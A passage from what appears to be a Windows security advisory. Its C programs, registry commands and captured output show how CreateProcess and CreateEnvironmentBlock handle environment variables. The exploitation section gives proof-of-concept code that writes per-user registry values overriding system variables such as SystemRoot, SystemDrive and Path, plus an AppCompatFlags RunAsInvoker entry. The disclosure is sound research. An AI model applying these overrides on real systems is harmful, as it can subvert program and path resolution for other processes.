The MSDN article Profiles Directory provides additional information.

Falsification

Perform the following 8 simple steps to show undocumented behaviour and prove the highlighted statement of the first MSDN article cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESS_INFORMATION pi;
    
    	DWORD	dwProcess;
    	DWORD	dwThread;
    	DWORD	dwError = ERROR_SUCCESS;
    #ifndef BLUNDER
    	if (!CreateProcess(L"C:\\Windows\\System32\\Cmd.exe",
    	                   L"%COMSPEC% /D /C SET ;",
    #else
    	if (!CreateProcess(L"C:\\Windows\\System32\\CScript.exe",
    	                   L"CScript blunder.vbs",
    #endif
    	                   (LPSECURITY_ATTRIBUTES) NULL,
    	                   (LPSECURITY_ATTRIBUTES) NULL,
    	                   FALSE,
    	                   CREATE_DEFAULT_ERROR_MODE | CREATE_UNICODE_ENVIRONMENT,
    #ifndef blunder
    	                   L"",
    #else
    	                   L"__COMPAT_LAYER=DisableThemes\0",
    #endif
    	                   (LPCWSTR) NULL,
    	                   &si,
    	                   &pi))
    		dwError = GetLastError();
    	else
    	{
    		if (WaitForSingleObject(pi.hThread, INFINITE) == WAIT_FAILED)
    			dwError = GetLastError();
    
    		if (!GetExitCodeThread(pi.hThread, &dwThread))
    			dwError = GetLastError();
    		else
    			dwError = 0UL - dwThread;
    
    		if (!CloseHandle(pi.hThread))
    			dwError = GetLastError();
    
    		if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
    			dwError = GetLastError();
    
    		if (!GetExitCodeProcess(pi.hProcess, &dwProcess))
    			dwError = GetLastError();
    		else
    			dwError = 0UL - dwProcess;
    
    		if (!CloseHandle(pi.hProcess))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    =C:=C:\Users\Stefan\Desktop
    COMSPEC=C:\Windows\SysWOW64\Cmd.exe
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    PROMPT=$P$G
    
    0
    Note: started with an empty process environment block, the Command Processor Cmd.exe displays only the environment variables defined by itself – including one that starts with an equal sign!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  5. Create the registry entry %COMSPEC% alias %SystemRoot%\System32\cmd.exe alias C:\Windows\System32\cmd.exe with value RunAsInvoker in the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers, then execute the console application blunder.exe built in step 4. and evaluate its exit code:

    REG.EXE ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /V "%COMSPEC%" /T REG_SZ /D RunAsInvoker
    .\blunder.exe
    ECHO %ERRORLEVEL%
    The operation completed successfully.
    
    =C:=C:\Users\Stefan\Desktop
    COMSPEC=C:\Windows\SysWOW64\Cmd.exe
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    PROMPT=$P$G
    __COMPAT_LAYER=DisableThemes RunAsInvoker
    
    0
    Note: the path name supplied to the Win32 function CreateProcess() is most obviously looked up in the registry before file system redirection and registry redirection are applied!
  6. Compile and link the source file blunder.c created in step 1. a third time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(36) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  7. Create the text file blunder.vbs with the following content next to the console application blunder.exe built in step 6.:

    Rem Copyleft © 1997-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    With WScript.CreateObject("WScript.Shell")
        WScript.StdOut.WriteLine "Environment Variables"
    
        For Each strScope In Array("PROCESS", "SYSTEM", "USER", "VOLATILE")
            WScript.StdOut.WriteLine
            WScript.StdOut.WriteLine "Scope '" & strScope & "': " & .Environment(strScope).Count & " items"
    
            For Each strItem In .Environment(strScope)
                WScript.StdOut.WriteLine vbTab & strItem
            Next
        Next
    End With
  8. Execute the console application blunder.exe built in step 6. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    Microsoft (R) Windows Script Host, Version 5.812
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Environment Variables
    
    Scope 'PROCESS': 0 items
    
    Scope 'SYSTEM': 15 items
    	ComSpec=%SystemRoot%\system32\cmd.exe
    	DriverData=C:\Windows\System32\Drivers\DriverData
    	OS=Windows_NT
    	Path=%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
    	PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    	PROCESSOR_ARCHITECTURE=AMD64
    	PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
    	TEMP=%SystemRoot%\TEMP
    	TMP=%SystemRoot%\TEMP
    	USERNAME=SYSTEM
    	windir=%SystemRoot%
    	NUMBER_OF_PROCESSORS=4
    	PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    	PROCESSOR_LEVEL=6
    	PROCESSOR_REVISION=5e03
    
    Scope 'USER': 4 items
    	Path=%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
    	TEMP=%USERPROFILE%\AppData\Local\Temp
    	TMP=%USERPROFILE%\AppData\Local\Temp
    	OneDrive=C:\Users\Stefan\OneDrive
    
    Scope 'VOLATILE': 9 items
    	LOGONSERVER=\\AMNESIAC
    	USERDOMAIN=AMNESIAC
    	USERNAME=Stefan
    	USERPROFILE=C:\Users\Stefan
    	HOMEPATH=\Users\Stefan
    	HOMEDRIVE=C:
    	APPDATA=C:\Users\Stefan\AppData\Roaming
    	LOCALAPPDATA=C:\Users\Stefan\AppData\Local
    	USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    
    0
    Note: started with an empty process environment block, the VBScript blunder.vbs executed by the Console Based Script Host CScript.exe displays only the environment variables stored in the registry keys named above – except the subkey HKEY_CURRENT_USER\Volatile Environment\1 shown below!
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Exploitation

Perform the following 13 (plus 10 optional) simple steps to show a whole lot of blunder and a trivial to exploit single point of failure.
  1. Start the Command Processor Cmd.exe, then query the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment, HKEY_USERS\S-1-5-18\Environment and HKEY_USERS\S-1-5-18\Volatile Environment to display the persistent system environment variables and the (persistent and volatile) user environment variables of the NT AUTHORITY\SYSTEM alias LocalSystem user account:

    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Environment"
    REG.EXE QUERY "HKEY_USERS\S-1-5-18\Volatile Environment"
    Note: the MSKB article 243300 gives the well-known SID S-1-5-18 for the NT AUTHORITY\SYSTEM alias LocalSystem user account.

    Note: the command lines can be copied and pasted as block into a Command Processor window.

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
        ComSpec    REG_EXPAND_SZ    %SystemRoot%\system32\cmd.exe
        DriverData    REG_SZ    C:\Windows\System32\Drivers\DriverData
        OS    REG_SZ    Windows_NT
        Path    REG_EXPAND_SZ    %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\
        PATHEXT    REG_SZ    .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
        PROCESSOR_ARCHITECTURE    REG_SZ    AMD64
        PSModulePath    REG_EXPAND_SZ    %ProgramFiles%\WindowsPowerShell\Modules;%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules
        TEMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        TMP    REG_EXPAND_SZ    %SystemRoot%\TEMP
        USERNAME    REG_SZ    SYSTEM
        windir    REG_EXPAND_SZ    %SystemRoot%
        NUMBER_OF_PROCESSORS    REG_SZ    4
        PROCESSOR_IDENTIFIER    REG_SZ    Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
        PROCESSOR_LEVEL    REG_SZ    6
        PROCESSOR_REVISION    REG_SZ    5e03
    
    HKEY_USERS\S-1-5-18\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
    
    ERROR: The specified registry key or value was not found.
    Caveat: note the highlighted references to the yet undefined environment variables ProgramFiles, SystemRoot, SYSTEMROOT and USERPROFILE!
  2. Query the registry keys HKEY_CURRENT_USER\Environment and HKEY_CURRENT_USER\Volatile Environment of your own (standard) user account for comparison:

    REG.EXE QUERY "HKEY_CURRENT_USER\Environment"
    REG.EXE QUERY "HKEY_CURRENT_USER\Volatile Environment" /S
    HKEY_CURRENT_USER\Environment
        Path    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;
        TEMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        TMP    REG_EXPAND_SZ    %USERPROFILE%\AppData\Local\Temp
        OneDrive    REG_EXPAND_SZ    C:\Users\Stefan\OneDrive
    
    HKEY_CURRENT_USER\Volatile Environment
        LOGONSERVER    REG_SZ    \\AMNESIAC
        USERDOMAIN    REG_SZ    AMNESIAC
        USERNAME    REG_SZ    Stefan
        USERPROFILE    REG_SZ    C:\Users\Stefan
        HOMEPATH    REG_SZ    \Users\Stefan
        HOMEDRIVE    REG_SZ    C:
        APPDATA    REG_SZ    C:\Users\Stefan\AppData\Roaming
        LOCALAPPDATA    REG_SZ    C:\Users\Stefan\AppData\Local
        USERDOMAIN_ROAMINGPROFILE    REG_SZ    AMNESIAC
    
    HKEY_CURRENT_USER\Volatile Environment\1
        SESSIONNAME    REG_SZ    Console
        CLIENTNAME    REG_SZ    
    Caveat: again note the highlighted references to the yet undefined environment variable USERPROFILE, but also the empty volatile user environment variable CLIENTNAME!
  3. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <userenv.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	LPWSTR	lpBlock;
    	LPWSTR	lpBlunder;
    	DWORD	dwBlunder;
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (!CreateEnvironmentBlock(&lpBlock, (HANDLE) NULL, FALSE))
    		dwError = GetLastError();
    	else
    	{
    		for (lpBlunder = lpBlock;
    		     lpBlunder[0] != L'\0';
    		     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
    			continue;
    
    		if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
    			dwError = GetLastError();
    		else
    			if (dwError ^= dwBlunder)
    				dwError = ERROR_WRITE_FAULT;
    		//	else
    		//		dwError = ERROR_SUCCESS;
    
    		if (!DestroyEnvironmentBlock(lpBlock))
    			dwError = GetLastError();
    	}
    
    	ExitProcess(dwError);
    }
  4. Compile and link the source file blunder.c created in step 3.:

    SET CL=/Oi /W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    userenv.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ALLUSERSPROFILE=C:\ProgramData
    CommonProgramFiles=C:\Program Files\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    NUMBER_OF_PROCESSORS=4
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files (x86)
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    PUBLIC=C:\Users\Public
    SystemDrive=C:
    SystemRoot=C:\Windows
    TEMP=C:\Windows\TEMP
    TMP=C:\Windows\TEMP
    USERNAME=SYSTEM
    USERPROFILE=C:\Users\Default
    windir=C:\Windows
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: the Win32 function CreateEnvironmentBlock() defines the (underlined) programmatic system environment variables ALLUSERSPROFILE, CommonProgramFiles, CommonProgramFiles(x86), CommonProgramW6432, COMPUTERNAME, ProgramData, ProgramFiles, ProgramFiles(x86), ProgramW6432, PUBLIC, SystemDrive and SystemRoot plus the (underlined) programmatic user environment variable USERPROFILE, processes the persistent system environment variables stored in the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment and expands their references to SystemRoot.

    OUCH¹: it but fails to expand the (highlighted) reference to ProgramFiles!

    OUCH²: contrary to the last MSDN article cited above, the (highlighted) system environment variable PROCESSOR_ARCHITECTURE is wrong and the system environment variable PROCESSOR_ARCHITEW6432 is missing – since blunder.exe is a 32-bit application the latter should exist with value AMD64 and the former should have the value x86!

  6. Overwrite the text file blunder.c created in step 3. with the following content:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <userenv.h>
    #include <tlhelp32.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESSENTRY32	pe;
    
    	LPWSTR	lpBlock;
    	LPWSTR	lpBlunder;
    	DWORD	dwBlunder;
    	DWORD	dwError;
    	DWORD	dwProcess = 0UL;
    	HANDLE	hProcess;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    	HANDLE	hToken;
    	HANDLE	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0UL);
    
    	if (hSnapshot == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		pe.dwSize = sizeof(pe);
    
    		if (!Process32First(hSnapshot, &pe))
    			dwError = GetLastError();
    		else
    		{
    			do
    				if ((pe.th32ParentProcessID == 4UL)
    				 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
    					dwProcess = pe.th32ProcessID;
    			while (Process32Next(hSnapshot, &pe));
    
    			dwError = GetLastError();
    
    		//	if (dwError == ERROR_NO_MORE_FILES)
    		//		dwError = ERROR_SUCCESS;
    		}
    
    		if (!CloseHandle(hSnapshot))
    			dwError = GetLastError();
    	}
    
    	if (dwProcess == 0UL)
    		dwError = ERROR_NOT_FOUND;
    	else
    	{
    		hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcess);
    
    		if (hProcess == NULL)
    			dwError = GetLastError();
    		else
    		{
    			if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
    				dwError = GetLastError();
    			else
    			{
    				if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
    					dwError = GetLastError();
    				else
    				{
    					for (lpBlunder = lpBlock;
    					     lpBlunder[0] != L'\0';
    					     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
    						continue;
    
    					if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
    						dwError = GetLastError();
    					else
    						if (dwError ^= dwBlunder)
    							dwError = ERROR_WRITE_FAULT;
    					//	else
    					//		dwError = ERROR_SUCCESS;
    
    					if (!DestroyEnvironmentBlock(lpBlock))
    						dwError = GetLastError();
    				}
    
    				if (!CloseHandle(hToken))
    					dwError = GetLastError();
    			}
    
    			if (!CloseHandle(hProcess))
    				dwError = GetLastError();
    		}
    
    	}
    
    	ExitProcess(dwError);
    }
  7. Compile and link the source file blunder.c overwritten in step 6.:

    CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    userenv.lib
  8. Create the text file blunder.xml with the following content next to the console application blunder.exe built in step 7.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2025, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  9. Embed the application manifest blunder.xml created in step 8. in the console application blunder.exe built in step 7.:

    MT.EXE /CANONICALIZE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exe
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  10. Execute the console application blunder.exe built in step 7. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
    CommonProgramFiles=C:\Program Files\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local
    NUMBER_OF_PROCESSORS=4
    OS=Windows_NT
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files (x86)
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
    PUBLIC=C:\Users\Public
    SystemDrive=C:
    SystemRoot=C:\Windows
    TEMP=C:\Windows\TEMP
    TMP=C:\Windows\TEMP
    USERPROFILE=C:\Windows\system32\config\systemprofile
    windir=C:\Windows
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: supplied with the access token of the NT AUTHORITY\SYSTEM alias LocalSystem user account grabbed from the Session Manager SMSS.exe process, the Win32 function CreateEnvironmentBlock() defines the (underlined) programmatic user environment variables APPDATA, LOCALAPPDATA and USERPROFILE in addition to the programmatic system environment variables, processes the persistent system and user environment variables stored in the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment and HKEY_CURRENT_USER\Environment alias HKEY_USERS\S-1-5-18\Environment, concatenates the values of Path and expands the references to SystemRoot and USERPROFILE.

    OUCH³: it but discards the (highlighted) persistent user environment variables TEMP and TMP!

  11. Overwrite the text file blunder.c created in step 3. again, now with the following content:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <userenv.h>
    
    const	LPCWSTR	szBlunder[] = {L"BLUNDER", L"OS", L"Path", L"PUBLIC"};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    #ifndef blunder
    	LPWSTR	lpBlock;
    	LPWSTR	lpBlunder;
    #endif
    	HKEY	hBlunder;
    	DWORD	dwBlunder = 0UL;
    	DWORD	dwError = RegOpenKeyEx(HKEY_CURRENT_USER,
    #ifdef BLUNDER
    		                       L"Environment",
    #else
    		                       L"Volatile Environment",
    #endif
    		                       REG_OPTION_RESERVED,
    		                       KEY_SET_VALUE,
    		                       &hBlunder);
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    #ifndef blunder
    	HANDLE	hToken;
    	HANDLE	hProcess = GetCurrentProcess();
    #endif
    	if (dwError == ERROR_SUCCESS)
    	{
    		do
    			dwError = RegSetValueEx(hBlunder,
    			                        szBlunder[dwBlunder],
    			                        0UL,
    			                        REG_SZ,
    			                        (LPBYTE) L"Blunder",
    			                        sizeof(L"Blunder"));
    		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    
    		dwError = RegSetValueEx(hBlunder,
    		                        L"SystemDrive",
    		                        0UL,
    		                        REG_SZ,
    		                        (LPBYTE) NULL,
    		                        0UL);
    
    		dwError = RegSetValueEx(hBlunder,
    		                        L"SystemRoot",
    		                        0UL,
    		                        REG_SZ,
    		                        (LPBYTE) L"",
    		                        sizeof(L""));
    
    		dwError = RegCloseKey(hBlunder);
    	}
    #ifndef blunder
    	if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
    		dwError = GetLastError();
    	else
    	{
    		if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
    			dwError = GetLastError();
    		else
    		{
    			for (lpBlunder = lpBlock;
    			     lpBlunder[0] != L'\0';
    			     lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
    				continue;
    
    			if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
    				dwError = GetLastError();
    			else
    				if (dwError ^= dwBlunder)
    					dwError = ERROR_WRITE_FAULT;
    			//	else
    			//		dwError = ERROR_SUCCESS;
    
    			if (!DestroyEnvironmentBlock(lpBlock))
    				dwError = GetLastError();
    		}
    
    		if (!CloseHandle(hToken))
    			dwError = GetLastError();
    	}
    #elif 0
    	if (SendMessage(GetShellWindow(),
    	                WM_SETTINGCHANGE,
    	                (WPARAM) 0,
    	                (LPARAM) L"Environment") == 0)
    		dwError = GetLastError();
    #else // blunder
    	if (SendMessageTimeout(HWND_BROADCAST,
    	                       WM_SETTINGCHANGE,
    	                       (WPARAM) 0,
    	                       (LPARAM) L"Environment",
    	                       SMTO_NORMAL,
    	                       0x815U,
    	                       (LPDWORD) NULL) == 0)
    		dwError = GetLastError();
    #endif // blunder
    	ExitProcess(dwError);
    }
  12. Compile and link the source file blunder.c overwritten in step 11. a first time:

    CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    userenv.lib
  13. Execute the console application blunder.exe built in step 12. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Users\Stefan\AppData\Roaming
    BLUNDER=Blunder
    CommonProgramFiles=C:\Program Files (x86)\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    HOMEDRIVE=C:
    HOMEPATH=\Users\Stefan
    LOCALAPPDATA=C:\Users\Stefan\AppData\Local
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OneDrive=C:\Users\Stefan\OneDrive
    OS=Blunder
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps;Blunder
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files (x86)
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
    PUBLIC=Blunder
    SESSIONNAME=Console
    SystemDrive=Blunder
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    USERPROFILE=C:\Users\Stefan
    windir=C:\Windows
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
